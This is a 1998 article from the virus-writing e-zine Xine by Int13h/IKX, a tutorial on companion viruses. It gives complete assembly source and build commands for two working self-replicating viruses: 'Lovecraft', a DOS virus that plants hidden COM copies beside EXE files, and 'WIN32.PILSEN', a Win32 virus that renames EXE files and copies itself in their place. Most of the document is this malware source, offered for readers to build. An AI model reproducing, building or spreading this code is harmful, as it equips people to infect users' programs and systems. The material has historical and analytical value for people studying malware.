/-----------------------------\ | Xine - issue #4 - Phile 107 | \-----------------------------/ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÄÄÄÄ COMPANION VIRUSES ÄÄÄÄ ÄÄ for 16 and 32 bits ÄÄ ÛÜ Written by Int13h/IKX ÜÛ - - - - - - - - - - - - - - - - - - - - - - - - - INTRODUCTION ßßßßßßßßßßßßß Well. It is lame but someone has to do it. This is a semi-tutorial about companion viruses. 16 and 32 bits companion viruses as you can read in the title. Companion viruses are clasically written in high level languages. Usually C or Pascal, because is harder to write decent viruses in HLLs. But, lets remember Sentinel, a bulgarian virus written by Lubo and Ian in Turbo Pascal, it is a TSR parasi- tary and stealth. Is easy to write a companion virus in assembler. The way of acting is the following. If we have an EXE file and a COM with the same name (test.com and test.exe) and in the command line we type: C:\>TEST DOS will execute the program TEST.COM, that is, DOS gives priority to COM files. Companion viruses uses this advantage. This kind of self-replicable code looks for an EXE file, creates a file with the same name but with COM extension (with hidden attribute), then writes the viral code to the created COM program. Then, when the user types C:\>TEST the COM will be executed (that is, the virus), the virus will infect other EXEs in the directory and when work is finished he will run the real hoste, that is the program in currently execution but with extension mutated to EXE. COMPANION in 16 bits ßßßßßßßßßßßßßßßßßßßßß Under DOS we will use functions 4eh/4fh to get the name of EXE files in the current directory. And the function 4bh to execute the original wanted program, that is, our hoste. You must free some memory before calling 4Bh, so pay atention where you put your SP. Following these bytes its going a ultra-simple and lame companion virus: 8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; Lovecraft Virus by Int13h/IKX - A simple 16 bits companion virus. ; ; tasm lovecraf /m2 ; tlink /t lovecraf ; .model tiny .code org 0100h Size = (offset FinVirus-offset Lovecraft) Lovecraft: mov dx,60000d ; Realocate DTA mov ah,01ah ; to heap int 21h mov ah,04eh sub cx,cx mov dx,offset Victims ; Look 4 *.EXE int 21h jnc Create_File Restore:mov ah,01ah mov dx,080h ; Realocate DTA to its int 21h ; original place mov ax,word ptr ds:[02ch] ; Fill the table that the 4bh mov word ptr [SegmentPSP],ax ; function will use to execute mov word ptr [SegmentLinea],cs ; the original hoste mov word ptr [SegmentFCB1],cs mov word ptr [SegmentFCB2],cs mov es,word ptr ds:[02ch] ; Environment segment mov di,1 xor ax,ax ; AX=0000 Buscar_cero: dec di scasw ; Look 4 the doble-zero jnz Buscar_cero inc di ; This is to point to the inc di ; beginning of the filename push es pop ds ; DS=ES push cs pop es ; ES=CS mov si,di ; Copy name of the file mov di,offset FiletoRUN ; in our buffer mov cx,128d rep movsb push cs cs pop ds es ; CS=DS=ES mov di,offset FiletoRUN ; Change extension xor al,al ; Look for the 0 of the ASCIIZ mov cx,125d repne scasb mov word ptr [di-4],'XE' ; Put EXE extension mov byte ptr [di-2],'E' cli mov sp,700d ; This is important! Move in sti ; a safe place our stack pointer mov ah,04ah ; Free memory not used by the mov bx,030h ; virus, with 30h paragraphes int 21h ; is more than enough mov ax,04b00h ; Execute program mov dx,offset FiletoRUN ; Name of the file mov bx,offset SegmentPSP ; 4B table int 21h mov ah,04ch ; Exit to OS int 21h ; AL have exit code Create_File: mov di,60000d+01eh ; Point to file name mov cx,9 mov al,'.' ; Look 4 the . repne scasb mov word ptr [di],'OC' ; Put COM extension mov byte ptr [di+2],'M' mov dx,60000d+01eh ; Create the file with mov ah,03ch ; changed extension mov cx,023h ; Read only+hidden attributes int 21h jc NextOne ; File already exist (infected) xchg bx,ax ; Move handle in BX mov ah,40h ; Write virus in the created mov cx,Size ; file mov dx,100h int 21h NextOne:mov ah,03eh ; Close int 21h mov ah,04fh ; Find next victim int 21h jnc Create_File jmp Restore ; Return control Bicho db 'Lovecraft by Inty - Paraguay' ; Howard Phillips Lovecraft Victims db '*.exe',0 SegmentPSP dw 0 ; In a COM always CS=DS=ES=SS dw 080h ; Command line, offs 80 of PSP SegmentLinea dw 0 ; Command line segment dw 005ch ; FCB#1 in the PSP SegmentFCB1 dw 0 ; FCB#1 segment dw 006ch ; FCB#2 in the PSP SegmentFCB2 dw 0 ; FCB#2 segment FinVirus label byte FiletoRUN label byte ; Use the heap End Lovecraft 8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 COMPANION in 32 bits ßßßßßßßßßßßßßßßßßßßßß Under Win32 we will use the following APIs to do our work: FindFirstFileA, FindNextFileA, MoveFileA, CopyFileA, GetCommandLineA, CreateProcessA, lstrcpyA It is really easy. You can get the name of the file which is currently running by calling the GetCommandLineA API. The name of the program that is taking control now is the first argument in the command line, but it is like this: "program.exe" /D: /PARAMETERS /ETC Why this? Lets quote to my friend Murkry: " What does this mean to us virii/hackers of win95? lets say we want to write a virus that adds info to the end of the host but does not modify the host PE header so while the info is there it is not loaded into memory. (A new LE/Macro infector works like this). Step one, we need the file name. Well check out the code below which will show a MessageBox with the file name in quotes when ran normaly, but will show the file name without quotes if in TD32 and I assume other debuggers (probaly not SI though). Be warn about this feature since this means if you are running a debugger to test, it will work differently, ie if you used this pointer to try and open the file it will fail since file "c:\filepath\foo.exe" is the file you will try to open not c:\filepath\foo.exe. " Murkry/IKX - File Xine-3.100 I think that is the only tricky thing, just check the code bellow to see an example companion virus. 8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; WIN32.PILSEN Virus by Int13h/IKX - A simple 32 bits companion virus. ; ; tasm32 /ml /m3 %1,,; ; tlink32 /Tpe /aa /c /v %1,,, import32.lib, ; .386 .model flat locals extrn FindFirstFileA:PROC extrn FindNextFileA:PROC extrn MoveFileA:PROC extrn CopyFileA:PROC extrn GetCommandLineA:PROC extrn CreateProcessA:PROC extrn lstrcpyA:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC .DATA ; Esto va para t¡ Jorge, borrach¡n! :) TituloVentana db 'WIN32.PILSEN VIRUS by Int13h/IKX',0 TextoVentana db 'MaDe iN PaRaGuAy',0 Victims db '*.EXE',0 SearcHandle dd 0 ProcessInfo dd 4 dup (0) StartupInfo dd 4 dup (0) Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0 Hallado db 200 dup (0) Crear db 200 dup (0) ToRUN db 200 dup (0) .CODE INICIO: call GetCommandLineA ; Get command line, where is the push eax ; name of the file that is running mov eax,offset ToRUN ; Copy it in our buffer push eax call lstrcpyA mov edi,eax Buscar: cmp byte ptr [edi],'.' ; Find the point jz ElPunto inc edi jmp Buscar ElPunto:mov esi,edi ; Memorize position inc esi add edi,4 ; Point... mov byte ptr [edi],00 ; Add 0, to kill CmdLine mov eax,offset Win32FindData push eax mov eax,offset Victims push eax call FindFirstFileA ; Look for *.EXE mov dword ptr [SearcHandle],eax Ciclo: cmp eax,-1 ; Grrrr! Error je Errare or eax,eax jz Exiting ; Execute original hoste mov eax,offset Hallado ; Copy Hallado in Crear push eax mov eax,offset Crear push eax call lstrcpyA mov edi,offset Crear StillLooking: cmp byte ptr [edi],'.' ; Localize the period jz PeriodFound inc edi jmp StillLooking PeriodFound: inc edi mov dword ptr [edi],0004d4f43h ; Put COM extension mov eax,offset Crear push eax mov eax,offset Hallado ; Rename to COM push eax call MoveFileA sub eax,eax ; Flag push eax mov eax,offset Hallado ; Copy the file with the push eax ; name of the found file mov eax,offset ToRUN+1 push eax call CopyFileA mov eax,offset Win32FindData push eax push dword ptr [SearcHandle] ; Look for another file call FindNextFileA jmp Ciclo Errare: mov eax,1 push eax mov eax,offset TituloVentana ; Print copyright push eax mov eax,offset TextoVentana push eax xor eax,eax push eax call MessageBoxA Exiting:mov eax,offset ProcessInfo push eax mov eax,offset StartupInfo push eax xor eax,eax push eax push eax push 00000010h ; Run hoste push eax push eax push eax call GetCommandLineA inc eax push eax Done: mov dword ptr [esi],0004d4f43h ; COM extension mov eax,offset ToRUN+1 push eax call CreateProcessA push 0 call ExitProcess Ends End INICIO 8<- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 FINAL WORD PTR ßßßßßßßßßßßßßß This was all. If you have some comments you know where I am :) Paraguay, October 25, 1998.